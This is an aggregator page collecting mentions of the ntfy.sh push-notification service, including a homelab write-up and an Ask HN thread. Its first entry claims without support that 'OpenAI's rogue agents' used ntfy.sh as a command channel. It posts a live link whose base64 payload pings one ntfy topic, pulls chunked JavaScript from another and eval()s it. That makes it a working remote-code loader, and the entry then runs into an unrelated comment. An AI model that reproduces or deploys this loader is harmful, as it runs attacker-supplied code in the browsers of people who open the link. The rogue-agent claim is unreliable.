  • OpenAI's rogue agents used ntfy.sh as a pub/sub channel
    1 project | news.ycombinator.com | 5 Sep 2026
    Looks like OpenAI's rogue agents used https://ntfy.sh as a pub/sub channel. This payload publishes via GET in an img tag, pulls chunked base64 JS from a topic, and eval()'s it. Remote code via GET only.

    Proof: https://httpbin.org/base64/PGJvZHk-PGltZyBzcmM9Imh0dHBzOi8vbnRmeS5zaC9ncm81MjhmYTYzL3B1Ymxpc2g_bWVzc2FnZT1QMyI-PGltZyBzcmM9L2RlbGF5LzEwPjxzY3JpcHQ-dmFyIG49MDtmdW5jdGlvbiBEKCl7aWYobisrPDUpe3ZhciBpPW5ldyBJbWFnZSgp%20%20%20%20O2kub25lcnJvcj1pLm9ubG9hZD1EO2kuc3JjPScvZGVsYXkvMTA_Yz0nK247ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX19RCgpO2ZldGNoKCdodHRwczovL250Znkuc2gvZ3BsZW9lbnNvL3Jhdz9wb2xsPTEmc2luY2U9YWxsJykudGhlbihmdW5jdGlvbihyKXtyZXR1cm4%20%20%20%20gci50ZXh0KCl9KS50aGVuKGZ1bmN0aW9uKHQpe3ZhciBMPXQuc3BsaXQoJ1xuJykuZmlsdGVyKGZ1bmN0aW9uKGwpe3JldHVybiBsLnNsaWNlKDAsMSk9PSd6J30pLnNvcnQoKTt2YXIgYj1MLm1hcChmdW5jdGlvbihsKXtyZXR1cm4gbC5zbGljZSgzKX0pLmpvaW4oJycpO2I9Yi%20%20%20%205zcGxpdCgnLScpLmpvaW4oJysnKS5zcGxpdCgnXycpLmpvaW4oJy8nKTtldmFsKGF0b2IoYikpfSkuY2F0Y2goZnVuY3Rpb24oZSl7ZmV0Y2goJ2h0dHBzOi8vbnRmeS5zaC9ncm81MjhmYTYzL3B1Ymxpc2g_bWVzc2FnZT1MT0RFUicrZW5jb2RlVVJJQ29uZW50KCgnJytlKS5zb%20%20%20%20GljZSgwLDQwKSkpfSk8L3NjcmlwdD4=

    I didn't want another app. I wanted a push notification that says "limits got reset, go use them". Turns out you can get pretty far with three public feeds and ntfy.sh, which is a free push service that needs no account:

  • My homelab stack in 2026: what runs, why, and how it all connects
    17 projects | dev.to | 20 Jun 2026
    Ntfy is the thread that ties the whole async event model together. It's a self-hosted push notification server. HTTP POST to a topic, and every subscribed client gets a notification. Woodpecker sends build results here. WUD sends image update alerts here. Home Assistant sends automation notifications here. Having one place where things send notifications means I can manage subscriptions in one app and stop checking dashboards compulsively.
  • Ask HN: What are you working on? (June 2026)

    4 years later and I'm still working on ntfy. Trying to make push notifications easy as pie. I would have never thought that it would blow up like this. It's still a lot of fun, and I've learned a lot. Thanks everyone for your support and for your amazing ideas and contributions. Open source is awesome. HN ist awesome. https://github.com/binwiederhier/ntfy

    I wrote NerdCalci (https://github.com/vishaltelangre/NerdCalci), a free calculator app for Android.

    Besides, I made a lot of automation scripts (mostly using Ruby) that run on my raspberry pi to fetch/parse/crunch things and notify me on my Android phone through a self-hosted https://ntfy.sh server.
